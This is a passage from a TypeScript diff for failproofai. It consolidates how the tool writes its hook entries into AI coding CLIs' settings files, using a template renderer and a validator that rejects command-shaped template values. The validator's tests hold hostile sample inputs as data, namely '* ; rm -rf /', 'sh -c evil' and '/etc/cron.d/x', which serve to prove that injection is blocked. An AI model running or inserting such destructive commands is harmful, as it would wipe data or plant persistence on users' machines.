Record) => { + renderConfig(HOOK_TEMPLATES[fx.cli], into, { + binaryPath: fx.binary, + scope: fx.scope, + cli: fx.cli, + }); + return into; +}; + +describe("rendering matches the writers it replaced", () => { + it("covers every Family-A CLI, so a missing fixture cannot pass vacuously", () => { + expect(new Set(FIXTURES.map((f) => f.cli))).toEqual( + new Set(["claude", "codex", "copilot", "cursor", "factory", "devin", "antigravity", "goose"]), + ); + expect(FIXTURES.length).toBeGreaterThanOrEqual(17); + }); + + it.each(FIXTURES.map((f) => [`${f.cli}/${f.scope}`, f] as const))( + "%s: a fresh install is byte-identical", + (_label, fx) => { + expect(render(fx, {})).toEqual(fx.empty); + }, + ); + + it.each(FIXTURES.map((f) => [`${f.cli}/${f.scope}`, f] as const))( + "%s: writing again over our own output changes nothing", + (_label, fx) => { + // Idempotence is what makes repair safe to run on a schedule: it must + // replace our entry in place rather than appending a second copy. + const once = render(fx, {}); + expect(render(fx, structuredClone(once))).toEqual(once); + }, + ); + + it.each(FIXTURES.map((f) => [`${f.cli}/${f.scope}`, f] as const))( + "%s: another tool's hook and settings survive untouched", + (_label, fx) => { + // The file belongs to the user, and often to another tool as well. + expect(render(fx, structuredClone(fx.foreign))).toEqual(fx.foreign); + }, + ); +}); + +describe("the one thing that is different", () => { + it.each(FIXTURES.map((f) => [`${f.cli}/${f.scope}`, f] as const))( + "%s: our entry is pruned from an event we no longer install", + (_label, fx) => { + // THE deliberate behaviour change. Of the eight writers only Claude did + // this; the other seven left our entry on a dropped event in the user's + // file forever, where reinstalling could not clear it — the situation a + // removed Claude event once created, leaving a registered hook that broke + // a flag until somebody hand-edited the file. + // + // Consolidating gives every CLI Claude's behaviour. Asserted here so the + // fix is a named decision rather than a side effect nobody noticed. + const out = render(fx, structuredClone(fx.stale)); + expect(JSON.stringify(out)).not.toContain("AnEventWeNoLongerInstall"); + // And pruning is all that changed: the rest still matches a fresh install. + expect(out).toEqual(fx.empty); + }, + ); +}); + +describe("buildHookEntry still works per CLI", () => { + it.each(FIXTURES.map((f) => [`${f.cli}/${f.scope}`, f] as const))( + "%s: the integration's own entry builder agrees with the template", + (_label, fx) => { + // `buildHookEntry` is part of the Integration interface and tested + // directly per CLI, so the entry has to be reachable on its own. + const template = HOOK_TEMPLATES[fx.cli]; + const event = template.events[0]; + expect( + getIntegration(fx.cli).buildHookEntry(fx.binary, event, fx.scope), + ).toEqual(buildTemplateEntry(template, event, { binaryPath: fx.binary, scope: fx.scope, cli: fx.cli })); + }, + ); +}); + +describe("a template may describe shape, never content", () => { + it("accepts all eight bundled templates", () => { + for (const [cli, template] of Object.entries(HOOK_TEMPLATES)) { + expect({ cli, problems: validateTemplate(template) }).toEqual({ cli, problems: [] }); + } + }); + + it.each([ + ["a command in a field name", { entryType: "npx -y failproofai --hook X" }], + ["a path in the container", { container: ["/etc/cron.d/x"] }], + ["a flag as a command field", { commandFields: ["-rf"] }], + ["a command hidden in a file default", { fileDefaults: { x: "sh -c evil" } }], + ["a matcher carrying arguments", { matcher: { on: "all" as const, value: "* ; rm -rf /" } }], + ])("rejects %s", (_label, patch) => { + // The boundary this whole design rests on. A template that could set the + // command would be arbitrary code execution on every machine, on every tool + // call — so the check is structural (arguments, path separators, leading + // dashes) rather than a list of bad words, and it is checked rather than + // documented. + const problems = validateTemplate({ ...HOOK_TEMPLATES.claude, ...patch } as HookTemplate); + expect(problems.length).toBeGreaterThan(0); + }); + + it("still allows a key that happens to be our own name", () => { + // Antigravity's container key is literally `failproofai`. An earlier + // version of the check matched the word and rejected a legitimate template, + // which is why the rule is about executability instead. + expect(validateTemplate(HOOK_TEMPLATES.antigravity)).toEqual([]); + }); +}); + +describe("what it refuses to do to a file it does not understand", () => { + it("throws rather than discard a value sitting on an event we install", () => { + // Surfaces as `unreadable` in drift detection, which repair then declines + // to touch. Silently replacing the value would destroy another tool's + // config, and doing it quietly is worse than refusing. + const settings = { hooks: { PreToolUse: { matcher: "*", hooks: [] } } }; + expect(() => + renderConfig(HOOK_TEMPLATES.claude, settings, { + binaryPath: "/usr/bin/failproofai", + scope: "user", + cli: "claude", + }), + ).toThrow(); + }); + + it("leaves an unrecognised value alone when it sits on an event we do not install", () => { + // The asymmetry with the case above: there the event is ours to write, here + // it is somebody else's to keep, and throwing would let an unrelated key + // abort an install. + const settings: Record = { hooks: { SomeOtherTool: "not a list" } }; + renderConfig(HOOK_TEMPLATES.claude, settings, { + binaryPath: "/usr/bin/failproofai", + scope: "user", + cli: "claude", + }); + expect((settings.hooks as Record).SomeOtherTool).toBe("not a list"); + }); +}); diff --git a/__tests__/hooks/reset-mistyped-containers.test.ts b/__tests__/hooks/reset-mistyped-containers.test.ts index 043d200c0..d1a47375d 100644 --- a/__tests__/hooks/reset-mistyped-containers.test.ts +++ b/__tests__/hooks/reset-mistyped-containers.test.ts @@ -53,23 +53,26 @@ describe("resetMistypedContainers", () => { ], }; - // Without the reset, this is the bug — and it is worse than "our entries - // are missing": the array keeps the OLD content the vendor already rejects, - // while our new entries, set as non-index properties, are thrown away by - // serialisation. The file on disk comes back byte-identical to the broken - // one it started as. - const naive = structuredClone(settings); - copilot.writeHookEntries(naive, BINARY, "project"); - expect(Array.isArray(naive.hooks)).toBe(true); - expect(JSON.parse(JSON.stringify(naive)).hooks).toEqual(settings.hooks); - - const reset = resetMistypedContainers(copilot, settings, BINARY, "project"); - expect(reset).toEqual(["hooks"]); - copilot.writeHookEntries(settings, BINARY, "project"); - - const roundTripped = JSON.parse(JSON.stringify(settings)) as { hooks: Record }; + // The templated writer now recovers this on its own — it coerces a + // wrongly-typed container instead of accepting it, so the catastrophic + // version of this bug cannot happen for the eight CLIs it drives. + // + // It used to be able to: `settings.hooks ??= {}` KEPT the array, the + // following `hooks["PreToolUse"] = …` set a non-index property, + // `JSON.stringify` dropped it, and the file written back was byte-identical + // to the broken one — so a user could reinstall forever, stay completely + // unenforced, and see success reported every time. + const written = structuredClone(settings); + copilot.writeHookEntries(written, BINARY, "project"); + const roundTripped = JSON.parse(JSON.stringify(written)) as { hooks: Record }; expect(Array.isArray(roundTripped.hooks)).toBe(false); expect(Object.keys(roundTripped.hooks).length).toBeGreaterThan(0); + + // And the helper still reports it, which is what covers the integrations + // the template engine does not drive. + expect(resetMistypedContainers(copilot, structuredClone(settings), BINARY, "project")).toEqual([ + "hooks", + ]); }); it("leaves a correctly-typed container alone", () => { diff --git a/src/hooks/config-render.ts b/src/hooks/config-render.ts new file mode 100644 index 000000000..9e2c38696 --- /dev/null +++ b/src/hooks/config-render.ts @@ -0,0 +1,235 @@ +/** + * Write our hook entries into a CLI's settings, from a template. + * + * This is one copy of what `integrations.ts` held eight times. The entry-building + * differed only in field names; the MERGE — which is the part with teeth — was + * near-identical prose repeated per CLI, and the repetition showed: of the eight, + * only Claude pruned our entries from events it no longer installs. The other + * seven left them behind forever, on every machine, with reinstalling unable to + * clear them. Consolidating fixes that everywhere by construction. + * + * ## What it must never do + * + * Destroy anything that is not ours. The file belongs to the user and often to + * another tool as well, so every step here is scoped to entries we can prove we + * wrote: + * + * - a group holding somebody else's hooks is written back exactly as found; + * - a group is dropped only when WE emptied it; + * - a value that is not shaped like an event array is skipped rather than + * thrown on — it may be a newer vendor event, another tool's entry, or a + * typo, and throwing here aborts an install AFTER policies were recorded as + * enabled, leaving somebody believing they are covered while no hook was + * written at all. + * + * ## Where the command comes from + * + * Here, never the template. See `config-template.ts` for why that boundary + * exists and what it is worth. + */ +import { FAILPROOFAI_HOOK_MARKER } from "./types"; +import type { GroupShape, HookTemplate } from "./config-template"; +import type { HookScope } from "./types"; + +export interface RenderContext { + /** Absolute path to the failproofai binary, for user-scope installs. */ + binaryPath: string; + scope: HookScope; + /** The integration id, for the `--cli` flag. */ + cli: string; +} + +type Entry = Record; +type Group = { matcher?: string; hooks: Entry[] }; + +/** + * The command a hook runs. + * + * Project scope resolves through npx so a checkout works on any machine that + * clones it; user scope names the binary directly, because a user-scope hook + * fires in sessions that have no project and no npx cache to rely on. + */ +function buildCommand(template: HookTemplate, event: string, ctx: RenderContext): string { + const flag = template.cliFlag ? ` --cli ${ctx.cli}` : ""; + return ctx.scope === "project" + ? `npx -y failproofai --hook ${event}${flag}` + : `"${ctx.binaryPath}" --hook ${event}${flag}`; +} + +/** + * One hook entry, with fields in the order the previous writers emitted them. + * + * Exported because `buildHookEntry` is part of the Integration interface and is + * tested directly per CLI — the entry a template produces has to be reachable + * on its own, not only as a side effect of writing a whole file. + */ +export function buildTemplateEntry(template: HookTemplate, event: string, ctx: RenderContext): Entry { + const entry: Entry = {}; + if (template.entryType !== undefined) entry.type = template.entryType; + const command = buildCommand(template, event, ctx); + for (const field of template.commandFields) entry[field] = command; + if (template.timeout) entry[template.timeout.key] = template.timeout.seconds; + if (template.marker) entry[FAILPROOFAI_HOOK_MARKER] = true; + return entry; +} + +/** + * Is this entry one of ours? + * + * The marker where there is one. Where there is not — goose, whose file we own + * outright and which parses it itself — the `--cli ` substring, which is the + * same rule that integration already used. + */ +function isOurs(template: HookTemplate, entry: unknown, cli: string): boolean { + if (!entry || typeof entry !== "object") return false; + const e = entry as Entry; + if (template.marker) return e[FAILPROOFAI_HOOK_MARKER] === true; + return template.commandFields.some( + (field) => typeof e[field] === "string" && (e[field] as string).includes(`--cli ${cli}`), + ); +} + +function shapeFor(template: HookTemplate, key: string): GroupShape { + const isTool = (template.toolEvents ?? []).includes(key); + return isTool ? template.group.tool : template.group.other; +} + +function matcherFor(template: HookTemplate, key: string): string | undefined { + if (!template.matcher) return undefined; + if (template.matcher.on === "all") return template.matcher.value; + return (template.toolEvents ?? []).includes(key) ? template.matcher.value : undefined; +} + +/** The object holding the per-event arrays, created if absent. */ +function containerOf(settings: Record, path: readonly string[]): Record { + let node = settings; + for (const key of path) { + const next = node[key]; + if (!next || typeof next !== "object" || Array.isArray(next)) node[key] = {}; + node = node[key] as Record; + } + return node; +} + +/** + * Remove our entries from events this build no longer installs. + * + * Without this an event we drop stays in the file forever and reinstalling + * cannot clear it — which is exactly what a removed Claude event did once, + * leaving a registered hook that broke a flag until somebody hand-edited it. + * Only our own entries are touched. + */ +function prune( + holder: Record, + installedKeys: ReadonlySet, + template: HookTemplate, + cli: string, +): void { + for (const key of Object.keys(holder)) { + if (installedKeys.has(key)) continue; + const value = holder[key]; + if (!Array.isArray(value)) continue; + + const kept: unknown[] = []; + for (const item of value) { + // A flat entry of ours goes; anyone else's stays. + if (!item || typeof item !== "object") { + if (item !== undefined) kept.push(item); + continue; + } + const group = item as Group; + if (!Array.isArray(group.hooks)) { + if (!isOurs(template, group, cli)) kept.push(group); + continue; + } + const before = group.hooks.length; + group.hooks = group.hooks.filter((h) => !isOurs(template, h, cli)); + // Drop a group only when WE emptied it. One that never held anything of + // ours is somebody else's and is written back exactly as found. + if (!(group.hooks.length === 0 && before > 0)) kept.push(group); + } + holder[key] = kept; + if (kept.length === 0) delete holder[key]; + } +} + +/** + * Replace our entry in place if it is already there, else append it. + * + * Throws when an event we install holds something that is not an array. That is + * deliberate and it is what the previous writers did — the alternative is + * discarding a value we do not understand, which may be another tool's config, + * and doing it silently. Refusing surfaces as `unreadable` in drift detection, + * which exists to say "our own writer cannot process this file, a human must + * look" and which repair then declines to touch. + * + * Note the asymmetry with `prune`, which skips such values instead: there the + * event is one we do NOT install, so leaving somebody else's value alone is the + * whole point, and throwing would let an unrelated key abort an install. + */ +function upsert(holder: Record, key: string, entry: Entry, shape: GroupShape, matcher: string | undefined, template: HookTemplate, cli: string): void { + const existing = holder[key]; + if (existing !== undefined && !Array.isArray(existing)) { + throw new TypeError(`${key} holds ${typeof existing}, not a list of hooks`); + } + const list: unknown[] = Array.isArray(existing) ? existing : []; + holder[key] = list; + + if (shape === "flat") { + const at = list.findIndex((item) => isOurs(template, item, cli)); + if (at >= 0) list[at] = entry; + else list.push(entry); + return; + } + + for (const item of list) { + if (!item || typeof item !== "object") continue; + const group = item as Group; + if (!Array.isArray(group.hooks)) continue; + const at = group.hooks.findIndex((h) => isOurs(template, h, cli)); + if (at >= 0) { + // Replaced in place, keeping the group and its position — the user may + // have put their own hooks beside ours in it. + group.hooks[at] = entry; + return; + } + } + list.push(matcher === undefined ? { hooks: [entry] } : { matcher, hooks: [entry] }); +} + +/** + * Write this build's hook entries into `settings`, in place. + * + * Mutates rather than returns, because it merges into a file the caller already + * read and must write back whole — anything it does not understand has to + * survive the round trip. + */ +export function renderConfig( + template: HookTemplate, + settings: Record, + ctx: RenderContext, +): void { + for (const key of template.dropKeys ?? []) delete settings[key]; + for (const [key, value] of Object.entries(template.fileDefaults ?? {})) { + if (settings[key] === undefined) settings[key] = value; + } + + const holder = containerOf(settings, template.container); + const keyFor = (event: string): string => template.keyMap?.[event] ?? event; + const installedKeys = new Set(template.events.map(keyFor)); + + prune(holder, installedKeys, template, ctx.cli); + + for (const event of template.events) { + const key = keyFor(event); + upsert( + holder, + key, + buildTemplateEntry(template, event, ctx), + shapeFor(template, key), + matcherFor(template, key), + template, + ctx.cli, + ); + } +} diff --git a/src/hooks/config-template.ts b/src/hooks/config-template.ts new file mode 100644 index 000000000..48703de53 --- /dev/null +++ b/src/hooks/config-template.ts @@ -0,0 +1,282 @@ +/** + * What a CLI's hook config looks like, as data. + * + * Eight integrations wrote the same file eight times, differing only in details + * a table can hold: which key the events live under, whether each event's array + * holds entries directly or wraps them in a group, whether a matcher is written, + * what the timeout field is called. `config-render.ts` reads one of these and + * produces the file; `integrations.ts` supplies the template and nothing else. + * + * ## The one thing a template may never carry + * + * The **command**. That field is what runs on the machine, on every tool call, + * before the tool runs. If a template could set it, then anything that can + * supply a template — today the bundled constants, tomorrow possibly a fetched + * pack — could run arbitrary code on every machine, at high frequency, with no + * prompt. + * + * So a template describes SHAPE and the renderer builds CONTENT. It says the + * command goes in a field called `bash`; the renderer decides what the command + * is, from the binary path and scope it was handed. `validateTemplate()` rejects + * anything command-shaped, so this is a checked boundary rather than a + * convention — and it is checked from the first commit, because a security + * boundary added later is one that was absent for every release before it. + * + * The worst a bad template can then do is wire hooks to the wrong events or drop + * them, which weakens enforcement rather than executing anything, and which the + * repair path's verify-and-roll-back and the contracts lab's next run can both + * catch. + */ +import { + ANTIGRAVITY_HOOK_EVENT_TYPES, + CLAUDE_INSTALL_EVENT_TYPES, + CODEX_EVENT_MAP, + CODEX_HOOK_EVENT_TYPES, + COPILOT_HOOK_EVENT_TYPES, + CURSOR_HOOK_EVENT_TYPES, + DEVIN_HOOK_EVENT_TYPES, + FACTORY_HOOK_EVENT_TYPES, + GOOSE_HOOK_EVENT_TYPES, +} from "./types"; + +/** How one event's array is shaped. */ +export type GroupShape = + /** `[{ hooks: [entry] }]` — a matcher group wrapping the entries. */ + | "wrapped" + /** `[entry]` — the entries sit in the array directly. */ + | "flat"; + +export interface HookTemplate { + /** + * Path to the object holding the per-event arrays. `[]` means the settings + * root, which is Factory: its docs describe a `hooks` wrapper and droid + * rejects one. + */ + readonly container: readonly string[]; + + /** + * The vendor's own event names, which are also the `--hook` argument. Taken + * from the existing per-CLI constants rather than copied, so adding an event + * stays a one-line change in one place. + */ + readonly events: readonly string[]; + + /** + * Event to the key it is stored under, where those differ. Codex alone does: + * it stores under `SessionStart` and invokes with `session_start`. + */ + readonly keyMap?: Readonly>; + + /** Events the vendor treats as tool events, for the matcher and group rules. */ + readonly toolEvents?: readonly string[]; + + /** + * Group shape, which is not always uniform: Antigravity wraps its tool events + * and writes the rest flat. + */ + readonly group: { readonly tool: GroupShape; readonly other: GroupShape }; + + /** + * When a `matcher` key is written. Omitted entirely for most CLIs — and that + * is load-bearing for goose, where a bare `"*"` is an invalid regex that + * matches NOTHING, so writing one silently disables every hook. + */ + readonly matcher?: { readonly on: "tool" | "all"; readonly value: string }; + + /** The timeout field, in the vendor's own units and spelling. */ + readonly timeout?: { readonly key: string; readonly seconds: number }; + + /** + * Field names that carry the command. Copilot wants two — `bash` and + * `powershell` — holding the same string. + */ + readonly commandFields: readonly string[]; + + /** A fixed `type` on each entry, where the vendor expects one. */ + readonly entryType?: string; + + /** + * Whether to stamp `__failproofai_hook__`. Goose does not get one: failproofai + * owns that whole plugin directory and goose parses the file, so our entries + * are identified by the `--cli goose` substring instead. + */ + readonly marker: boolean; + + /** Whether the command carries `--cli `. Claude is the only one without. */ + readonly cliFlag: boolean; + + /** Keys set on the file when absent (Copilot and Cursor want `version: 1`). */ + readonly fileDefaults?: Readonly>; + + /** Keys removed from the file if present (Codex carries a legacy `version`). */ + readonly dropKeys?: readonly string[]; +} + +/** + * Anything that could be EXECUTED rather than named. + * + * The test is deliberately about executability, not vocabulary. An earlier + * version matched the word "failproofai" and rejected Antigravity's own + * container key, which is literally `failproofai` — a legitimate key name that + * happens to be our product. What actually distinguishes a command from a key + * is structure: a command carries arguments (whitespace), or names a path (a + * separator), or is a flag (a leading dash). Key and field names never do. + */ +const EXECUTABLE_SHAPED = /\s|[/\\]|^-/; + +/** + * Reject a template that tries to carry content rather than shape. + * + * It walks every string in the template and refuses anything that could be + * executed — carrying arguments, naming a path, or reading as a flag. A key or + * field name never does, so the rule separates the two cleanly and fails loud. + */ +export function validateTemplate(template: HookTemplate): string[] { + const problems: string[] = []; + const check = (value: unknown, path: string): void => { + if (typeof value === "string") { + if (EXECUTABLE_SHAPED.test(value)) { + problems.push(`${path}: "${value}" could be executed — a template describes shape, not content`); + } + return; + } + if (Array.isArray(value)) { + value.forEach((v, i) => check(v, `${path}[${i}]`)); + return; + } + if (value && typeof value === "object") { + for (const [k, v] of Object.entries(value)) check(v, `${path}.${k}`); + } + }; + + for (const [key, value] of Object.entries(template)) { + // The event list and key map are vendor event names; they cannot contain a + // command, and checking them would only invite a false positive on a vendor + // that names an event with a dash. + if (key === "events" || key === "keyMap" || key === "toolEvents") continue; + check(value, key); + } + if (template.commandFields.length === 0) problems.push("commandFields: at least one is required"); + if (template.events.length === 0) problems.push("events: at least one is required"); + return problems; +} + +const TOOL_EVENTS = ["PreToolUse", "PostToolUse"] as const; + +/** + * The bundled templates — the floor every install writes from. + * + * Derived from what each writer actually produced, not transcribed from reading + * them: `config-render.test.ts` asserts every one renders byte-for-byte to a + * fixture captured off the previous implementation. + */ +export const HOOK_TEMPLATES: Readonly> = { + claude: { + container: ["hooks"], + events: CLAUDE_INSTALL_EVENT_TYPES, + group: { tool: "wrapped", other: "wrapped" }, + timeout: { key: "timeout", seconds: 60 }, + commandFields: ["command"], + entryType: "command", + marker: true, + // No `--cli` flag: the handler defaults to claude when it is omitted, which + // keeps hooks installed before multi-CLI support working. + cliFlag: false, + }, + + codex: { + container: ["hooks"], + events: CODEX_HOOK_EVENT_TYPES, + // Stores under PascalCase, invokes with snake_case. The only CLI where the + // two differ, and the map already exists. + keyMap: CODEX_EVENT_MAP, + group: { tool: "wrapped", other: "wrapped" }, + timeout: { key: "timeout", seconds: 60 }, + commandFields: ["command"], + entryType: "command", + marker: true, + cliFlag: true, + dropKeys: ["version"], + }, + + copilot: { + container: ["hooks"], + events: COPILOT_HOOK_EVENT_TYPES, + group: { tool: "wrapped", other: "wrapped" }, + // Copilot counts in SECONDS but spells the field differently. + timeout: { key: "timeoutSec", seconds: 60 }, + commandFields: ["bash", "powershell"], + entryType: "command", + marker: true, + cliFlag: true, + fileDefaults: { version: 1 }, + }, + + cursor: { + container: ["hooks"], + events: CURSOR_HOOK_EVENT_TYPES, + // Cursor's own flat form: no matcher wrapper at all. + group: { tool: "flat", other: "flat" }, + timeout: { key: "timeout", seconds: 60 }, + commandFields: ["command"], + entryType: "command", + marker: true, + cliFlag: true, + fileDefaults: { version: 1 }, + }, + + factory: { + // Event names at the TOP LEVEL: the published docs show a `hooks` wrapper + // and droid rejects it outright. + container: [], + events: FACTORY_HOOK_EVENT_TYPES, + toolEvents: TOOL_EVENTS, + group: { tool: "wrapped", other: "wrapped" }, + matcher: { on: "tool", value: "*" }, + timeout: { key: "timeout", seconds: 30 }, + commandFields: ["command"], + entryType: "command", + marker: true, + cliFlag: true, + }, + + devin: { + container: ["hooks"], + events: DEVIN_HOOK_EVENT_TYPES, + group: { tool: "wrapped", other: "wrapped" }, + timeout: { key: "timeout", seconds: 60 }, + commandFields: ["command"], + entryType: "command", + marker: true, + cliFlag: true, + }, + + antigravity: { + // A NAMED hook: everything lives under our own key, beside anyone else's. + container: ["failproofai"], + events: ANTIGRAVITY_HOOK_EVENT_TYPES, + toolEvents: TOOL_EVENTS, + // The only mixed one: tool events wrap, the rest are flat. + group: { tool: "wrapped", other: "flat" }, + matcher: { on: "tool", value: "*" }, + timeout: { key: "timeout", seconds: 30 }, + commandFields: ["command"], + entryType: "command", + marker: true, + cliFlag: true, + }, + + goose: { + container: ["hooks"], + events: GOOSE_HOOK_EVENT_TYPES, + group: { tool: "wrapped", other: "wrapped" }, + // NO matcher, and no timeout. A bare `"*"` is an invalid regex here that + // matches nothing, so writing one would silently disable every hook. + commandFields: ["command"], + entryType: "command", + // No marker: failproofai owns this whole plugin directory and goose parses + // the file, so our entries are found by the `--cli goose` substring. + marker: false, + cliFlag: true, + }, +}; diff --git a/src/hooks/integrations.ts b/src/hooks/integrations.ts index 7b167a052..0098a104e 100644 --- a/src/hooks/integrations.ts +++ b/src/hooks/integrations.ts @@ -24,12 +24,13 @@ import { fileURLToPath } from "node:url"; import { homedir } from "node:os"; import { parseDocument, type Document } from "yaml"; import { listHermesProfiles, hermesRoot } from "../../lib/hermes-profiles"; +import { HOOK_TEMPLATES } from "./config-template"; +import { buildTemplateEntry, renderConfig } from "./config-render"; import { CLAUDE_INSTALL_EVENT_TYPES, HOOK_SCOPES, CODEX_HOOK_EVENT_TYPES, CODEX_HOOK_SCOPES, - CODEX_EVENT_MAP, COPILOT_HOOK_EVENT_TYPES, COPILOT_HOOK_SCOPES, CURSOR_HOOK_EVENT_TYPES, @@ -57,7 +58,6 @@ import { type ClaudeSettings, type ClaudeHookMatcher, type ClaudeHookEntry, - type CodexHookEventType, } from "./types"; // ── Generic helpers ───────────────────────────────────────────────────────── @@ -336,88 +336,21 @@ export const claudeCode: Integration = { }, buildHookEntry(binaryPath, eventType, scope) { - // No --cli flag on the Claude command line: the handler defaults to - // claude when --cli is omitted, preserving back-compat with hooks - // installed before multi-CLI support was added. - const command = - scope === "project" - ? `npx -y failproofai --hook ${eventType}` - : `"${binaryPath}" --hook ${eventType}`; - return { - type: "command", - command, - // Claude reads `timeout` in SECONDS per https://code.claude.com/docs/en/hooks - // ("Seconds before canceling. Defaults: 600 for command ...; 60 for agent"), - // NOT milliseconds. 60 = 60s; the old 60000 meant ~16.7h. (#482-class unit fix) - timeout: 60, - [FAILPROOFAI_HOOK_MARKER]: true, - }; + return buildTemplateEntry(HOOK_TEMPLATES.claude, eventType, { + binaryPath, + scope: scope ?? "user", + cli: "claude", + }); }, isFailproofaiHook: isMarkedHook, writeHookEntries(settings, binaryPath, scope) { - const s = settings as ClaudeSettings; - if (!s.hooks) s.hooks = {}; - - // Drop our hook from any event we no longer install. Without this, an - // event removed from the list stays in settings.json forever on existing - // machines — reinstalling would not repair it — which is exactly the - // situation `WorktreeCreate` created: registered, silent on allow, and - // therefore breaking `claude --worktree` until hand-edited. Only OUR - // marked entries are touched; anyone else's hooks on the same event stay. - // - // This walks EVERY key the file happens to carry, including ones - // failproofai has never written — a newer Claude event, another tool's - // entry, a typo. Their values are therefore unvalidated input, and a - // non-array one (`"Foo": {}` or `"Foo": "bar"`) makes the iteration below - // throw. That aborts the whole install AFTER the policies were recorded as - // enabled, so the user is left believing they are covered while no hook was - // written at all — the silent non-enforcement this file exists to prevent. - // Skip anything not shaped like a matcher list and leave it untouched. - const installed = new Set(CLAUDE_INSTALL_EVENT_TYPES); - for (const eventType of Object.keys(s.hooks)) { - if (installed.has(eventType)) continue; - const matchers = s.hooks[eventType]; - if (!Array.isArray(matchers)) continue; - // Drop a matcher group only when WE emptied it. A group we never touched - // (no `hooks` array, or one that held nothing of ours) is somebody else's - // and is written back exactly as found — pruning is for our own entries, - // not a cleanup pass over the user's file. - const kept: ClaudeHookMatcher[] = []; - for (const matcher of matchers as ClaudeHookMatcher[]) { - if (!matcher || !Array.isArray(matcher.hooks)) { - if (matcher) kept.push(matcher); - continue; - } - const before = matcher.hooks.length; - matcher.hooks = matcher.hooks.filter( - (h) => !isMarkedHook(h as Record), - ); - const weEmptiedIt = matcher.hooks.length === 0 && before > 0; - if (!weEmptiedIt) kept.push(matcher); - } - s.hooks[eventType] = kept; - if (kept.length === 0) delete s.hooks[eventType]; - } - - for (const eventType of CLAUDE_INSTALL_EVENT_TYPES) { - const hookEntry = this.buildHookEntry(binaryPath, eventType, scope) as unknown as ClaudeHookEntry; - if (!s.hooks[eventType]) s.hooks[eventType] = []; - const matchers: ClaudeHookMatcher[] = s.hooks[eventType]; - - let found = false; - for (const matcher of matchers) { - if (!matcher.hooks) continue; - const idx = matcher.hooks.findIndex((h) => isMarkedHook(h as Record)); - if (idx >= 0) { - matcher.hooks[idx] = hookEntry; - found = true; - break; - } - } - if (!found) matchers.push({ hooks: [hookEntry] }); - } + renderConfig(HOOK_TEMPLATES.claude, settings as Record, { + binaryPath, + scope: scope ?? "user", + cli: "claude", + }); }, removeHooksFromFile(settingsPath) { @@ -512,49 +445,21 @@ export const codex: Integration = { }, buildHookEntry(binaryPath, eventType, scope) { - // `eventType` here is the snake_case Codex event name; Codex stores under - // PascalCase keys but invokes the command with the snake_case form, which - // we canonicalize on the way into policy-evaluator. - const command = - scope === "project" - ? `npx -y failproofai --hook ${eventType} --cli codex` - : `"${binaryPath}" --hook ${eventType} --cli codex`; - return { - type: "command", - // Codex reads `timeout` in SECONDS (the field is literally `timeout`, - // default 600 per https://developers.openai.com/codex/hooks) — same unit as - // Claude/Cursor/Copilot. 60 = 60s. - command, - timeout: 60, - [FAILPROOFAI_HOOK_MARKER]: true, - }; + return buildTemplateEntry(HOOK_TEMPLATES.codex, eventType, { + binaryPath, + scope: scope ?? "user", + cli: "codex", + }); }, isFailproofaiHook: isMarkedHook, writeHookEntries(settings, binaryPath, scope) { - const s = settings as CodexSettingsFile; - stripLegacyVersion(s as Record); - if (!s.hooks) s.hooks = {}; - - for (const eventType of CODEX_HOOK_EVENT_TYPES) { - const pascalKey = CODEX_EVENT_MAP[eventType as CodexHookEventType]; - const hookEntry = this.buildHookEntry(binaryPath, eventType, scope) as unknown as ClaudeHookEntry; - if (!s.hooks[pascalKey]) s.hooks[pascalKey] = []; - const matchers: ClaudeHookMatcher[] = s.hooks[pascalKey]; - - let found = false; - for (const matcher of matchers) { - if (!matcher.hooks) continue; - const idx = matcher.hooks.findIndex((h) => isMarkedHook(h as Record)); - if (idx >= 0) { - matcher.hooks[idx] = hookEntry; - found = true; - break; - } - } - if (!found) matchers.push({ hooks: [hookEntry] }); - } + renderConfig(HOOK_TEMPLATES.codex, settings as Record, { + binaryPath, + scope: scope ?? "user", + cli: "codex", + }); }, removeHooksFromFile(settingsPath) { @@ -626,13 +531,6 @@ export const codex: Integration = { // single `command` field with `timeout` (milliseconds). Top-level wrapper is // `{ "version": 1, "hooks": {...} }`, mirroring Codex. -interface CopilotHookEntry { - type: "command"; - bash: string; - powershell: string; - timeoutSec: number; - [FAILPROOFAI_HOOK_MARKER]: true; -} interface CopilotSettingsFile { version?: number; @@ -683,43 +581,21 @@ export const copilot: Integration = { }, buildHookEntry(binaryPath, eventType, scope) { - const cmd = - scope === "project" - ? `npx -y failproofai --hook ${eventType} --cli copilot` - : `"${binaryPath}" --hook ${eventType} --cli copilot`; - return { - type: "command", - bash: cmd, - powershell: cmd, - timeoutSec: 60, - [FAILPROOFAI_HOOK_MARKER]: true, - }; + return buildTemplateEntry(HOOK_TEMPLATES.copilot, eventType, { + binaryPath, + scope: scope ?? "user", + cli: "copilot", + }); }, isFailproofaiHook: isMarkedCopilotHook, writeHookEntries(settings, binaryPath, scope) { - const s = settings as CopilotSettingsFile; - if (s.version === undefined) s.version = 1; - if (!s.hooks) s.hooks = {}; - - for (const eventType of COPILOT_HOOK_EVENT_TYPES) { - const hookEntry = this.buildHookEntry(binaryPath, eventType, scope) as unknown as CopilotHookEntry; - if (!s.hooks[eventType]) s.hooks[eventType] = []; - const matchers: ClaudeHookMatcher[] = s.hooks[eventType]; - - let found = false; - for (const matcher of matchers) { - if (!matcher.hooks) continue; - const idx = matcher.hooks.findIndex((h) => isMarkedCopilotHook(h as Record)); - if (idx >= 0) { - matcher.hooks[idx] = hookEntry as unknown as ClaudeHookEntry; - found = true; - break; - } - } - if (!found) matchers.push({ hooks: [hookEntry as unknown as ClaudeHookEntry] }); - } + renderConfig(HOOK_TEMPLATES.copilot, settings as Record, { + binaryPath, + scope: scope ?? "user", + cli: "copilot", + }); }, removeHooksFromFile(settingsPath) { @@ -824,42 +700,21 @@ export const cursor: Integration = { }, buildHookEntry(binaryPath, eventType, scope) { - const command = - scope === "project" - ? `npx -y failproofai --hook ${eventType} --cli cursor` - : `"${binaryPath}" --hook ${eventType} --cli cursor`; - // `timeout` is documented in SECONDS in Cursor's schema per - // https://cursor.com/docs/hooks ("Execution timeout in seconds"; doc examples - // use 30 and 10), NOT milliseconds. 60 = 60s; the old 60000 meant ~16.7h. - return { - type: "command", - command, - timeout: 60, - [FAILPROOFAI_HOOK_MARKER]: true, - }; + return buildTemplateEntry(HOOK_TEMPLATES.cursor, eventType, { + binaryPath, + scope: scope ?? "user", + cli: "cursor", + }); }, isFailproofaiHook: isMarkedHook, writeHookEntries(settings, binaryPath, scope) { - const s = settings as CursorSettingsFile; - if (s.version === undefined) s.version = 1; - if (!s.hooks) s.hooks = {}; - - for (const eventType of CURSOR_HOOK_EVENT_TYPES) { - const hookEntry = this.buildHookEntry(binaryPath, 